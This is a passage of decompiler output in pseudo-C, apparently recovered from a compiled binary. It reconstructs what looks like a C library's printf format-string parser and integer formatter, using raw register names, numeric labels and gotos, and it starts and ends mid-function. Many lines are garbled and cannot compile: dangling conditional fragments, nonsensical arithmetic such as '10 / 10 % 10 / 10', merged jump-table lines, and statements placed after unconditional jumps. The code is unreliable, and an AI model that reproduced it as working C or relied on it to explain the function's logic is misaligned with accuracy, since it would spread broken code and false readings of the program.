                (save)ebx;
                (save)32;
                (save)A8;
                goto L08050c8f;
                A10 = A10 + 4;
                ecx = A10;
                esi = *(ecx - 4);
L08050b3e:
                if(esi == 0) {
                    if(Vfffffb70 == -1 || Vfffffb70 > 5) {
                        esi = "(null)";
                        Vfffffb10 = 6;
                    } else {
                        esi = 0x8067eeb;
                        Vfffffb10 = 0;
                    }
                } else {
                    if(Vfffffb70 != -1) {
                        goto L08050bdc;
                    }
                    al = 0;
                    edi = esi;
                    asm("cld");
                    ecx = -1;
                    asm("repne scasb");
                    edx = !ecx - 1;
                    Vfffffb10 = edx;
                    if(Vfffffb74 == 0) {
                        edi = A8;
                        edx = *(edi + 80);
                        eax = *( *(edx + 52))(edi, esi, Vfffffb10);
                        if(Vfffffb10 != eax) {
                            goto L08050e72;
                        }
                        ebx = Vfffffb10;
                        Vfffffb9c = Vfffffb9c + ebx;
                        goto L08050dc4;
L08050bdc:
                        ebx = Vfffffb70;
                        eax = L080575C0(esi, 0, ebx);
                        Vfffffb10 = ebx;
                        if(eax != 0) {
                            eax = eax - esi;
                            Vfffffb10 = eax;
                        }
                    }
                }
                edi = Vfffffb10;
                Vfffffb74 = Vfffffb74 - edi;
                if(Vfffffb8c == 0 && Vfffffb74 > 0) {
                    ebx = A8;
                    eax = L08062534(ebx, 32, Vfffffb74);
                    Vfffffb9c = Vfffffb9c + eax;
                }
                edi = A8;
                edx = *(edi + 80);
                eax = *( *(edx + 52))(edi, esi, Vfffffb10);
                if(Vfffffb10 != eax) {
                    goto L08050e72;
                }
                ebx = Vfffffb10;
                Vfffffb9c = Vfffffb9c + ebx;
                if(Vfffffb8c != 0 && Vfffffb74 > 0) {
                    edi = Vfffffb74;
                    (save)edi;
                    (save)32;
                    (save)A8;
L08050c8f:
                    eax = L08062534();
                    Vfffffb9c = Vfffffb9c + eax;
                    esp = esp + 12;
                    goto L08050dc4;
                    A10 = A10 + 4;
                    ebx = A10;
                    edx = *(ebx - 4);
                    if(edx != 0) {
                        Vfffffb10 = 16;
                        Vfffffb64 = edx;
                        Vfffffb78 = 0;
                        Vfffffb94 = 1;
                        Vfffffb84 = 0;
                        Vfffffb60 = 120;
                        goto L080506c4;
                    }
                    esi = "(nil)";
                    if(Vfffffb70 > 4) {
                        goto L08050b3e;
                    }
                    Vfffffb70 = 5;
                    goto L08050b3e;
                    if(esi != 0) {
                        A10 = A10 + 4;
                        edi = A10;
                        eax = *(edi - 4);
                        ecx = Vfffffb9c;
                        ebx = 0;
                        Vfffffb20 = ecx;
                        Vfffffb24 = 0;
                        ebx = Vfffffb20;
                        *eax = ebx;
                        ebx = Vfffffb24;
                        *(eax + 4) = ebx;
                    } else {
                        if(Vfffffb7c != 0) {
                            A10 = A10 + 4;
                            edi = A10;
                            edx = *(edi - 4);
                            ecx = Vfffffb9c;
                            *edx = ecx;
                        } else {
                            if(Vfffffb80 == 0) {
                                A10 = A10 + 4;
                                ebx = A10;
                                edx = *(ebx - 4);
                                edi = Vfffffb9c;
                                *edx = edi;
                            } else {
                                A10 = A10 + 4;
                                edx = *(A10 - 4);
                                *edx = Vfffffb9c;
                                goto L08050dc4;
                                edx = & Vfffffc18;
                                eax = L08056E14( *L08078B14, edx, 1000);
                                esi = eax;
                                goto L08050b3e;
                            }
                        }
                    }
                }
            }
L08050dc4:
            Vfffffc00 = Vfffffc00 + 1;
            esi = Vfffffc00;
            Vfffffb10 = esi;
            if(*esi != 0) {
L08050ddc:
                edi = Vfffffb10;
                if(*edi != 37) {
                    if(*edi < 0) {
                        eax = L0805602C(0, edi, 1);
                        if(eax > 0) {
                            goto L08050e08;
                        }
                    }
                    Vfffffb10 = Vfffffb10 + 1;
                    goto L08050e0e;
L08050e08:
                    Vfffffb10 = Vfffffb10 + eax;
L08050e0e:
                    ecx = Vfffffb10;
                    if(*ecx != 0) {
                        goto L08050ddc;
                    }
                }
            }
            ebx = Vfffffb10;
            Vfffffc00 = ebx;
            edx = Vfffffc00 - esi;
            edx = *( *(A8 + 80) + 52);
            eax = *edx(A8, esi, edx);
            edx = Vfffffc00 - esi;
            if(eax != edx) {
                goto L08050e72;
            }
            Vfffffb9c = Vfffffb9c + eax;
            edx = Vfffffc00;
            if(*edx != 0) {
                goto L0804f9ac;
            }
            goto L080529b8;
        }
    }
    *L08078B14 = 22;
L08050e72:
    eax = -1;
    goto L080529be;
L08050e7c:
    Vfffffb58 = 32;
    esp = esp + -2816;
    Vfffffb54 = esp;
    Vfffffb5c = 0;
    Vfffffb50 = 0;
    Vfffffbc4 = 0;
    if(Vfffffba8 == -1) {
        edx = *( *L08078890 + 16);
        Vfffffb20 = edx;
        al = 0;
        esi = Vfffffb20;
        edi = esi;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        edx = !ecx - 1;
        if(L0805602C( & Vfffffc08, Vfffffb20, edx) <= 0) {
            edx = *( *( *L08078890 + 16)) & 255;
            Vfffffc08 = edx;
        }
        edx = *( *L08078890 + 20);
        Vfffffba8 = edx;
        if(*edx == 0 || *edx == 255) {
            goto L08050f2e;
        }
        if(Vfffffc08 == 0) {
L08050f2e:
            Vfffffba8 = 0;
        }
    }
    ebx = Vfffffba4;
    Vfffffc00 = ebx;
    if(*ebx != 0) {
        edi = Vfffffb5c;
        edx = edi + (edi + edi * 4) * 2 << 3;
        Vfffffb2c = edx;
L08050f64:
        ecx = Vfffffb58;
        if(Vfffffb5c >= ecx) {
            esi = Vfffffb54;
            ecx = ecx + ecx;
            Vfffffb58 = ecx;
            edx = ecx + (ecx + ecx * 4) * 2 << 3;
            esp = esp - edx;
            Vfffffb54 = esp;
            edx = Vfffffb2c + esi;
            if(esp == edx) {
                Vfffffb58 = ecx + (ecx >> 1);
            } else {
                ebx = Vfffffb2c;
                edi = Vfffffb54;
                eax = L0805652C(edi, esi, ebx);
                edx = Vfffffb54 + ebx;
                if(esi == edx) {
                    edx = Vfffffb58 >> 1;
                    Vfffffb58 = Vfffffb58 + edx;
                }
            }
        }
        ecx = Vfffffb50;
        Vfffffb48 = ecx;
        esi = Vfffffb2c + Vfffffb54;
        edx = Vfffffc00;
        Vfffffbb0 = edx;
        Vfffffb44 = 0;
        Vfffffbb0 = Vfffffbb0 + 1;
        *(esi + 64) = -1;
        *(esi + 24) = 0;
        *(esi + 28) = 0;
        *(esi + 32) = 0;
        *(esi + 36) = 0;
        *(esi + 40) = 0;
        *(esi + 44) = 32;
        edx = Vfffffbb0;
        eax = *edx & 255;
        ebx = *L08078FA0;
        Vfffffb10 = ebx;
        if(!( *(ebx + eax * 2 + 1) & 8)) {
            Vfffffb40 = edx;
            edi = & Vfffffbb0;
            Vfffffb14 = edi;
            eax = eax + -48;
            Vfffffbb0 = Vfffffbb0 + 1;
            edx = *Vfffffbb0 & 255;
            if(!( *(ebx + edx * 2 + 1) & 8)) {
L0805108c:
                edx = eax + eax * 8 + eax - 48;
                Vfffffb20 = edx;
                ecx = Vfffffb14;
                edx = *( *ecx) & 255;
                eax = Vfffffb20 + edx;
                *ecx = *ecx + 1;
                edx = *( *ecx) & 255;
                Vfffffb20 = edx;
                edx = *L08078FA0;
                ebx = Vfffffb20;
                if(*(edx + ebx * 2 + 1) & 8) {
                    goto L0805108c;
                }
            }
            if(eax != 0) {
                edx = Vfffffbb0;
                if(*edx == 36) {
                    Vfffffbb0 = Vfffffbb0 + 1;
                    edi = eax - 1;
                    *(esi + 64) = edi;
                    edx = Vfffffbc4;
                    if(edx < eax) {
                        edx = eax;
                    }
                    Vfffffbc4 = edx;
                    goto L080511bb;
                }
            }
            ecx = Vfffffb40;
            Vfffffbb0 = ecx;
            goto L080511bb;
L08051114:
            edx = ( *Vfffffbb0 & 255) + -32;
            Vfffffbb0 = Vfffffbb0 + 1;
            if(edx <= 16) {
                goto *(edx * 4 + 0x8051138)[L0805117c, L080511bb, L080511bb, L080511a0, L080511bb, L080511bb, L080511bb, L080511b4, L080511bb, L080511bb, L080511bb, L08051188, L080511bb, L08051194, L080511bb, L080511bb, L080511ac, ]goto ( *(edx * 4 + 0x8051138));
                *(esi + 28) = 1;
                goto L080511bb;
                *(esi + 36) = 1;
                goto L080511bb;
                *(esi + 32) = 1;
                goto L080511bb;
                *(esi + 24) = 1;
                goto L080511bb;
                *(esi + 44) = 48;
                goto L080511bb;
                *(esi + 40) = 1;
            }
        }
L080511bb:
        edx = Vfffffbb0;
        if(*edx == 32 || *edx == 43 || *edx == 45 || *edx == 35 || *edx == 48 || *edx == 39) {
            goto L08051114;
        }
        if(*(esi + 32) != 0) {
            *(esi + 44) = 32;
        }
        *(esi + 60) = -1;
        *(esi + 4) = 0;
        edx = Vfffffbb0;
        if(*edx == 42) {
            Vfffffbb0 = Vfffffbb0 + 1;
            ebx = Vfffffbb0;
            Vfffffb10 = ebx;
            edx = *ebx & 255;
            edi = *L08078FA0;
            Vfffffb20 = edi;
            if(!( *(edi + edx * 2 + 1) & 8)) {
                ecx = & Vfffffbb0;
                Vfffffb14 = ecx;
                eax = edx - 48;
                Vfffffbb0 = Vfffffbb0 + 1;
                edx = *Vfffffbb0 & 255;
                if(!( *(edi + edx * 2 + 1) & 8)) {
L08051270:
                    edx = eax + eax * 8 + eax - 48;
                    Vfffffb20 = edx;
                    ebx = Vfffffb14;
                    edx = *( *ebx) & 255;
                    eax = Vfffffb20 + edx;
                    *ebx = *ebx + 1;
                    edx = *( *ebx) & 255;
                    Vfffffb20 = edx;
                    edx = *L08078FA0;
                    edi = Vfffffb20;
                    if(*(edx + edi * 2 + 1) & 8) {
                        goto L08051270;
                    }
                }
                if(eax != 0) {
                    edx = Vfffffbb0;
                    if(*edx == 36) {
                        ecx = eax - 1;
                        *(esi + 60) = ecx;
                        edx = Vfffffbc4;
                        if(edx < eax) {
                            edx = eax;
                        }
                        Vfffffbc4 = edx;
                        Vfffffbb0 = Vfffffbb0 + 1;
                    }
                }
            }
            if(*(esi + 60) < 0) {
                ebx = Vfffffb48;
                *(esi + 60) = ebx;
                ebx = *(esi + 60) + 1;
                Vfffffb48 = ebx;
                Vfffffb44 = Vfffffb44 + 1;
                edi = Vfffffb10;
                Vfffffbb0 = edi;
            }
        } else {
            edx = *Vfffffbb0 & 255;
            ecx = *L08078FA0;
            Vfffffb10 = ecx;
            if(!( *(ecx + edx * 2 + 1) & 8)) {
                ebx = & Vfffffbb0;
                Vfffffb14 = ebx;
                eax = edx - 48;
                Vfffffbb0 = Vfffffbb0 + 1;
                edx = *Vfffffbb0 & 255;
                if(!( *(ecx + edx * 2 + 1) & 8)) {
L08051354:
                    edx = eax + eax * 8 + eax - 48;
                    Vfffffb20 = edx;
                    edi = Vfffffb14;
                    edx = *( *edi) & 255;
                    eax = Vfffffb20 + edx;
                    *edi = *edi + 1;
                    edx = *( *edi) & 255;
                    Vfffffb20 = edx;
                    edx = *L08078FA0;
                    ecx = Vfffffb20;
                    if(*(edx + ecx * 2 + 1) & 8) {
                        goto L08051354;
                    }
                }
                *(esi + 4) = eax;
            }
        }
        *(esi + 56) = -1;
        *esi = -1;
        edx = Vfffffbb0;
        if(*edx == 46) {
            Vfffffbb0 = Vfffffbb0 + 1;
            edx = Vfffffbb0;
            if(*edx != 42) {
                goto L080514bc;
            }
            Vfffffbb0 = Vfffffbb0 + 1;
            ebx = Vfffffbb0;
            Vfffffb10 = ebx;
            edx = *ebx & 255;
            edi = *L08078FA0;
            Vfffffb20 = edi;
            if(!( *(edi + edx * 2 + 1) & 8)) {
                ecx = & Vfffffbb0;
                Vfffffb14 = ecx;
                eax = edx - 48;
                Vfffffbb0 = Vfffffbb0 + 1;
                edx = *Vfffffbb0 & 255;
                if(!( *(edi + edx * 2 + 1) & 8)) {
L0805141c:
                    edx = eax + eax * 8 + eax - 48;
                    Vfffffb20 = edx;
                    ebx = Vfffffb14;
                    edx = *( *ebx) & 255;
                    eax = Vfffffb20 + edx;
                    *ebx = *ebx + 1;
                    edx = *( *ebx) & 255;
                    Vfffffb20 = edx;
                    edx = *L08078FA0;
                    edi = Vfffffb20;
                    if(*(edx + edi * 2 + 1) & 8) {
                        goto L0805141c;
                    }
                }
                if(eax != 0) {
                    edx = Vfffffbb0;
                    if(*edx == 36) {
                        ecx = eax - 1;
                        *(esi + 56) = ecx;
                        edx = Vfffffbc4;
                        if(edx < eax) {
                            edx = eax;
                        }
                        Vfffffbc4 = edx;
                        Vfffffbb0 = Vfffffbb0 + 1;
                    }
                }
            }
            if(*(esi + 56) < 0) {
                ebx = Vfffffb48;
                *(esi + 56) = ebx;
                ebx = *(esi + 56) + 1;
                Vfffffb48 = ebx;
                Vfffffb44 = Vfffffb44 + 1;
                edi = Vfffffb10;
                Vfffffbb0 = edi;
                goto L0805154a;
L080514bc:
                edx = *Vfffffbb0 & 255;
                ecx = *L08078FA0;
                Vfffffb10 = ecx;
                if(!( *(ecx + edx * 2 + 1) & 8)) {
                    Vfffffb14 = & Vfffffbb0;
                    eax = edx - 48;
                    Vfffffbb0 = Vfffffbb0 + 1;
                    edx = *Vfffffbb0 & 255;
                    if(!( *(ecx + edx * 2 + 1) & 8)) {
L08051500:
                        edx = eax + eax * 8 + eax - 48;
                        Vfffffb20 = edx;
                        edi = Vfffffb14;
                        edx = *( *edi) & 255;
                        eax = Vfffffb20 + edx;
                        *edi = *edi + 1;
                        edx = *( *edi) & 255;
                        Vfffffb20 = edx;
                        edx = *L08078FA0;
                        if(*(edx + Vfffffb20 * 2 + 1) & 8) {
                            goto L08051500;
                        }
                    }
                    *esi = eax;
                } else {
                    *esi = 0;
                }
            }
        }
L0805154a:
        *(esi + 12) = 0;
        *(esi + 16) = 0;
        *(esi + 20) = 0;
        goto L08051653;
L08051564:
        edx = ( *Vfffffbb0 & 255) + -76;
        Vfffffbb0 = Vfffffbb0 + 1;
        if(edx <= 37) {
            goto *(edx * 4 + 0x8051588)[L0805164c, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L0805163c, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051653, L08051620, L08051653, L08051653, L08051653, L0805162c, L08051653...]goto ( *(edx * 4 + 0x8051588));
            *(esi + 16) = 1;
            goto L08051653;
            if(*(esi + 20) == 0) {
                *(esi + 20) = 1;
                goto L08051653;
                *(esi + 12) = 0;
                *(esi + 20) = 0;
            } else {
                *(esi + 12) = 1;
            }
        }
L08051653:
        edx = Vfffffbb0;
        if(*edx == 104 || *edx == 108 || *edx == 76 || *edx == 90 || *edx == 113) {
            goto L08051564;
        }
        edx = Vfffffbb0;
        *(esi + 8) = *edx;
        Vfffffbb0 = Vfffffbb0 + 1;
        eax = *(esi + 8) & 255;
        if(*(eax * 4 + 0x807e78c) != 0) {
            edx = esi + 68;
            edx = *(eax * 4 + 0x807e78c);
            *edx(esi, 1, edx);
            *(esi + 72) = eax;
        } else {
            *(esi + 72) = 1;
            edx = ( *(esi + 8) & 255) + -69;
            if(edx <= 51) {
                goto *(edx * 4 + 0x80516e0)[L080517f0, L0805183c, L080517f0, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L080517b0, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805183c, L0805180c, L080517b0, L080517f0, L080517f0...]goto ( *(edx * 4 + 0x80516e0));
                if(*(esi + 12) == 0) {
                    goto L080517c4;
                }
                *(esi + 68) = 256;
                goto L08051843;
                if(*(esi + 20) != 0) {
                    *(esi + 68) = 512;
                } else {
                    if(*(esi + 16) != 0) {
                        *(esi + 68) = 1024;
                    } else {
                        *(esi + 68) = 0;
                        goto L08051843;
                        if(*(esi + 12) != 0) {
                            *(esi + 68) = 261;
                        } else {
                            *(esi + 68) = 5;
                            goto L08051843;
                            *(esi + 68) = 1;
                            goto L08051843;
                            *(esi + 68) = 2;
                            goto L08051843;
                            *(esi + 68) = 3;
                            goto L08051843;
                            *(esi + 68) = 2048;
                        }
                    }
                }
            } else {
                *(esi + 72) = 0;
            }
        }
L08051843:
        if(*(esi + 64) == -1 && *(esi + 72) != 0) {
            *(esi + 64) = Vfffffb48;
            Vfffffb44 = Vfffffb44 + *(esi + 72);
        }
        if(*(esi + 8) == 0) {
            edx = Vfffffbb0 - 1;
            *(esi + 52) = edx;
            *(esi + 48) = *(esi + 52);
        } else {
            edx = Vfffffbb0;
            *(esi + 48) = edx;
            Vfffffb10 = edx;
            if(*Vfffffb10 != 0) {
L0805188c:
                ecx = Vfffffb10;
                if(*ecx != 37) {
                    if(*ecx < 0) {
                        eax = L0805602C(0, ecx, 1);
                        if(eax > 0) {
                            goto L080518b8;
                        }
                    }
                    Vfffffb10 = Vfffffb10 + 1;
                    goto L080518be;
L080518b8:
                    Vfffffb10 = Vfffffb10 + eax;
L080518be:
                    if(*Vfffffb10 != 0) {
                        goto L0805188c;
                    }
                }
            }
            *(esi + 52) = Vfffffb10;
        }
        Vfffffb50 = Vfffffb50 + Vfffffb44;
        ebx = Vfffffb2c;
        edx = *(Vfffffb54 + ebx + 52);
        Vfffffc00 = edx;
        Vfffffb2c = ebx + 88;
        Vfffffb5c = Vfffffb5c + 1;
        if(*Vfffffc00 != 0) {
            goto L08050f64;
        }
    }
    edx = Vfffffbc4;
    eax = Vfffffb50;
    if(eax < edx) {
        eax = edx;
    }
    Vfffffb50 = eax;
    edx = eax * 4;
    Vfffffb20 = edx;
    esp = esp - edx;
    esi = esp;
    eax = L08057764(esi, 0, edx);
    esp = esp - (Vfffffb50 + Vfffffb50 * 2 << 2);
    Vfffffb4c = esp;
    if(Vfffffb5c != 0) {
        Vfffffb10 = Vfffffb54;
        Vfffffb14 = 0;
L08051978:
        edi = Vfffffb14;
        ecx = Vfffffb54;
        if(*(ecx + edi + 60) != -1) {
            *(esi + *(ecx + edi + 60) * 4) = 0;
        }
        ebx = Vfffffb14;
        edi = Vfffffb54;
        if(*(edi + ebx + 56) != -1) {
            *(esi + *(edi + ebx + 56) * 4) = 0;
        }
        ecx = Vfffffb14;
        ebx = Vfffffb54;
        edx = *(ebx + ecx + 72);
        if(edx != 0) {
            if(edx == 1) {
                edi = *(ebx + ecx + 64);
                *(esi + edi * 4) = *(ebx + ecx + 68);
            } else {
                ebx = Vfffffb54;
                Vfffffb20 = *(ebx + Vfffffb14 + 8) & 255;
                eax = *( *(Vfffffb20 * 4 + 0x807e78c))(Vfffffb10, *(ebx + Vfffffb14 + 72), *(ebx + Vfffffb14 + 64) * 4 + esi);
            }
        }
        Vfffffb10 = Vfffffb10 + 88;
        Vfffffb14 = Vfffffb14 + 88;
        ecx = Vfffffb5c;
        if(Vfffffb14 != ecx + (ecx + ecx * 4) * 2 << 3) {
            goto L08051978;
        }
    }
    Vfffffb10 = 0;
    A10 = Vfffffb98;
    if(Vfffffb10 < Vfffffb50) {
        eax = Vfffffb4c;
L08051a80:
        edx = *esi;
        if(edx != 4) {
            > ? L08051abc : ;
            if(edx != 1) {
                > ? L08051aa4 : ;
                if(edx == 0) {
                    goto L08051b78;
                }
                goto L08051b98;
                if(edx == 2) {
                    goto L08051b78;
                }
                if(edx == 3) {
                    goto L08051b88;
                }
                goto L08051b98;
                if(edx == 261) {
                    goto L08051b5c;
                }
                > ? L08051adc : ;
                if(edx == 5) {
                    goto L08051b48;
                }
                if(edx == 256) {
                    goto L08051b20;
                }
                goto L08051b98;
                if(edx == 512) {
                    goto L08051b88;
                }
                if(edx == 1024) {
                    goto L08051b0c;
                }
                goto L08051b98;
            }
            A10 = A10 + 4;
            *eax = *(A10 - 4);
            goto L08051bc0;
L08051b0c:
            A10 = A10 + 4;
            *eax = *(A10 - 4);
            goto L08051bc0;
L08051b20:
            A10 = A10 + 8;
            ebx = A10;
            *eax = *(ebx - 8);
            *(eax + 4) = *(ebx - 4);
        } else {
            A10 = A10 + 8;
            *eax = *(A10 - 8);
            goto L08051bc0;
L08051b48:
            A10 = A10 + 8;
            ecx = A10;
            *eax = *(ecx - 8);
            *(eax + 4) = *(ecx - 4);
            goto L08051bc0;
L08051b5c:
            A10 = A10 + 12;
            ebx = A10;
            *eax = *(ebx - 12);
            *(eax + 4) = *(ebx - 8);
            *(eax + 8) = *(ebx - 4);
            goto L08051bc0;
L08051b78:
            A10 = A10 + 4;
            *eax = *(A10 - 4);
            goto L08051bc0;
L08051b88:
            A10 = A10 + 4;
            *eax = *(A10 - 4);
            goto L08051bc0;
L08051b98:
            if(!( *(esi + 1) & 8)) {
                A10 = A10 + 4;
                *eax = *(A10 - 4);
            } else {
                *eax = 0;
                *(eax + 4) = 0;
                *(eax + 8) = 0;
            }
        }
L08051bc0:
        eax = eax + 12;
        esi = esi + 4;
        Vfffffb10 = Vfffffb10 + 1;
        if(Vfffffb10 < Vfffffb50) {
            goto L08051a80;
        }
    }
    if(Vfffffba0 < Vfffffb5c) {
        Vfffffb30 = Vfffffba0 + (Vfffffba0 + Vfffffba0 * 4) * 2 << 3;
L08051c08:
        edi = Vfffffb30;
        ecx = Vfffffb54;
        if(*(ecx + edi + 60) != -1) {
            edx = *(ecx + edi + 60) + *(ecx + edi + 60) * 2;
            edx = *(Vfffffb4c + edx * 4);
            *(ecx + edi + 4) = edx;
            if(edx < 0) {
                *(ecx + edi + 4) = ~edx;
                *(ecx + edi + 32) = 1;
            }
        }
        edi = Vfffffb30;
        ecx = Vfffffb54;
        if(*(ecx + edi + 56) != -1) {
            edx = *(ecx + edi + 56) + *(ecx + edi + 56) * 2;
            edx = *(Vfffffb4c + edx * 4);
            *(ecx + edi) = edx;
            if(*(ecx + edi) < 0) {
                *(ecx + edi) = -1;
            }
        }
        edx = ( *(Vfffffb54 + Vfffffb30 + 8) & 255) + -37;
        if(edx <= 83) {
            goto *(edx * 4 + 0x8051c98)[L08051de8, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L0805287c, L08052480, L0805287c...]goto ( *(edx * 4 + 0x8051c98));
            ebx = A8;
            if(*(ebx + 24) <= *(ebx + 20)) {
                if(L08061910(ebx, 37) == -1) {
                    goto L08050e72;
                }
            } else {
                edi = A8;
                *( *(edi + 20)) = 37;
                *(edi + 20) = *(edi + 20) + 1;
            }
            Vfffffb9c = Vfffffb9c + 1;
            goto L08052933;
            Vfffffb10 = 10;
            ecx = Vfffffb30;
            ebx = Vfffffb54;
            if(*(ebx + ecx + 12) != 0) {
                edx = *(ebx + ecx + 64) + *(ebx + ecx + 64) * 2;
                edi = Vfffffb4c;
                Vfffffb14 = *(edi + edx * 4);
                Vfffffb18 = *(edi + edx * 4 + 4);
                Vfffffb34 = 0;
                if(Vfffffb18 < 0) {
                    Vfffffb34 = Vfffffb34 + 1;
                }
                0;
                0;
                if(Vfffffb34 != 0) {
                    Vfffffb14 = ~Vfffffb14;
                    asm("adc dword [ebp+0xfffffb18],+0x0");
                    Vfffffb18 = ~Vfffffb18;
                }
                Vfffffb38 = Vfffffb14;
                Vfffffb3c = Vfffffb18;
                goto L08051fb3;
            }
            ecx = Vfffffb30;
            ebx = Vfffffb54;
            if(*(ebx + ecx + 20) == 0) {
                ecx = Vfffffb30;
                ebx = Vfffffb54;
                if(*(ebx + ecx + 16) != 0) {
                    goto L08051f08;
                }
            }
            edx = *(Vfffffb4c + edx * 4);
            goto L08051f25;
L08051f08:
            edx = *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4);
L08051f25:
            Vfffffb34 = edx >> 31;
            if(!(edx = *(ebx + ecx + 64) + *(ebx + ecx + 64) * 2)) {
                edx = ~edx;
                goto L080520f5;
                Vfffffb10 = 10;
                goto L08051f62;
                Vfffffb10 = 8;
                goto L08051f62;
                Vfffffb10 = 16;
L08051f62:
                Vfffffb34 = 0;
                ebx = Vfffffb30;
                edi = Vfffffb54;
                *(edi + ebx + 36) = 0;
                *(edi + ebx + 28) = 0;
                if(*(edi + ebx + 12) != 0) {
                    edx = *(edi + ebx + 64) + *(edi + ebx + 64) * 2;
                    ecx = Vfffffb4c;
                    Vfffffb38 = *(ecx + edx * 4);
                    Vfffffb3c = *(ecx + edx * 4 + 4);
L08051fb3:
                    edi = Vfffffb30;
                    ecx = Vfffffb54;
                    if(*(ecx + edi) < 0) {
                        *(ecx + edi) = 1;
                    } else {
                        *(Vfffffb54 + Vfffffb30 + 44) = 32;
                    }
                    if(*(Vfffffb54 + Vfffffb30) == 0 && Vfffffb38 == 0 && Vfffffb3c == 0) {
                        esi = & Vffffffff;
                    } else {
                        edi = Vfffffb30;
                        eax = L08062714(Vfffffb38, Vfffffb3c, ebp, Vfffffb10, 0);
                        esi = eax - 1;
                        if(*(Vfffffb54 + edi + 40) != 0 && Vfffffba8 != 0) {
                            eax = L08052C9C(esi, & Vffffffff, Vfffffba8, Vfffffc08);
                            esi = eax;
                        }
                    }
                    edx = 0;
                    if(Vfffffb38 != 0 || Vfffffb3c != 0) {
                        edx = 1;
                    }
                    Vfffffb38 = edx;
                    goto L08052242;
                }
                edi = Vfffffb30;
                ecx = Vfffffb54;
                if(*(ecx + edi + 20) == 0) {
                    edi = Vfffffb30;
                    ecx = Vfffffb54;
                    if(*(ecx + edi + 16) != 0) {
                        goto L080520d8;
                    }
                }
                edx = *(ecx + edi + 64) + *(ecx + edi + 64) * 2;
                edx = *(Vfffffb4c + edx * 4);
                goto L080520f5;
L080520d8:
                edx = *(Vfffffb4c + ( *(Vfffffb54 + Vfffffb30 + 64) + *(Vfffffb54 + Vfffffb30 + 64) * 2) * 4) & 65535;
            }
L080520f5:
            Vfffffb38 = edx;
L080520fb:
            edi = Vfffffb30;
            ecx = Vfffffb54;
            if(*(ecx + edi) < 0) {
                *(ecx + edi) = 1;
            } else {
                *(Vfffffb54 + Vfffffb30 + 44) = 32;
            }
            if(*(Vfffffb54 + Vfffffb30) == 0) {
                if(Vfffffb38 != 0) {
                    goto L0805214c;
                }
                esi = & Vffffffff;
            } else {
L0805214c:
                eax = Vfffffb38;
                edx = ebp;
                Vfffffb14 = "0123456789abcdefghijklmnopqrstuvwxyz";
                if(*(Vfffffb54 + Vfffffb30 + 8) == 88) {
                    Vfffffb14 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
                }
                esi = edx;
                if(Vfffffb10 != 10) {
                    > ? L08052198 : ;
                    if(Vfffffb10 == 8) {
                        goto L080521d8;
                    }
                    goto L080521f0;
                    if(Vfffffb10 == 16) {
                        goto L080521c0;
                    }
                } else {
L080521a4:
                    esi = esi - 1;
                    edx = 0;
                    *esi = *(10 / 10 % 10 / 10 + Vfffffb14);
                    if(eax != 0) {
                        goto L080521a4;
                    }
                    goto L08052208;
L080521c0:
                    esi = esi - 1;
                    *esi = *(edx + Vfffffb14);
                    eax = eax >> 4;
                    if(edx = eax & 15) {
                        goto L080521c0;
                    }
                    goto L08052208;
L080521d8:
                    esi = esi - 1;
                    *esi = *(edx + Vfffffb14);
                    eax = eax >> 3;
                    if(edx = eax & 7) {
                        goto L080521d8;
                    }
                    goto L08052208;
                }
L080521f0:
                esi = esi - 1;
                edx = 0;
                Vfffffb10 = Vfffffb10 / Vfffffb10;
                *esi = *(Vfffffb10 % Vfffffb10 + Vfffffb14);
                if(eax != 0) {
                    goto L080521f0;
                }
L08052208:
                esi = esi - 1;
                if(*(Vfffffb54 + Vfffffb30 + 40) != 0 && Vfffffba8 != 0) {
                    eax = L08052C9C(esi, & Vffffffff, Vfffffba8, Vfffffc08);
                    esi = eax;
                }
            }
L08052242:
            edx = !esi + ebp;
            ecx = Vfffffb30;
            ebx = Vfffffb54;
            *(ebx + ecx + 4) = *(ebx + ecx + 4) - edx;
            edx = *(ebx + ecx) - edx;
            *(ebx + ecx) = edx;
            if(Vfffffb38 != 0 && *(ebx + ecx + 24) != 0 && Vfffffb10 == 8 && edx <= 0) {
                *esi = 48;
                esi = esi - 1;
                *(ebx + ecx + 4) = *(ebx + ecx + 4) - 1;
            }
            if(*(Vfffffb54 + Vfffffb30) > 0) {
                ecx = Vfffffb30;
                ebx = Vfffffb54;
                *(ebx + ecx + 4) = *(ebx + ecx + 4) - *(ebx + ecx);
                edx = *(ebx + ecx);
                *(ebx + ecx) = *(ebx + ecx) - 1;
                if(edx > 0) {
                    eax = Vfffffb30;
L080522bc:
                    *esi = 48;
                    esi = esi - 1;
                    ecx = Vfffffb54;
                    edx = *(ecx + eax);
                    *(ecx + eax) = *(ecx + eax) - 1;
                    if(edx > 0) {
                        goto L080522bc;
                    }
                }
            }
            if(Vfffffb38 != 0) {
                ebx = Vfffffb30;
                edi = Vfffffb54;
                if(*(edi + ebx + 24) != 0 && Vfffffb10 == 16) {
                    *(edi + ebx + 4) = *(edi + ebx + 4) + -2;
                }
            }
            if(Vfffffb34 == 0) {
                ecx = Vfffffb30;
                ebx = Vfffffb54;
                if(*(ebx + ecx + 36) == 0 && *(ebx + ecx + 28) == 0) {
                    goto L0805232d;
                }
            }
            *(Vfffffb54 + Vfffffb30 + 4) = *(Vfffffb54 + Vfffffb30 + 4) - 1;
L0805232d:
            ebx = Vfffffb30;
            edi = Vfffffb54;
            if(*(edi + ebx + 32) == 0 && *(edi + ebx + 44) == 48) {
                edx = *(edi + ebx + 4);
                *(edi + ebx + 4) = *(edi + ebx + 4) - 1;
                if(edx > 0) {
                    eax = Vfffffb30;
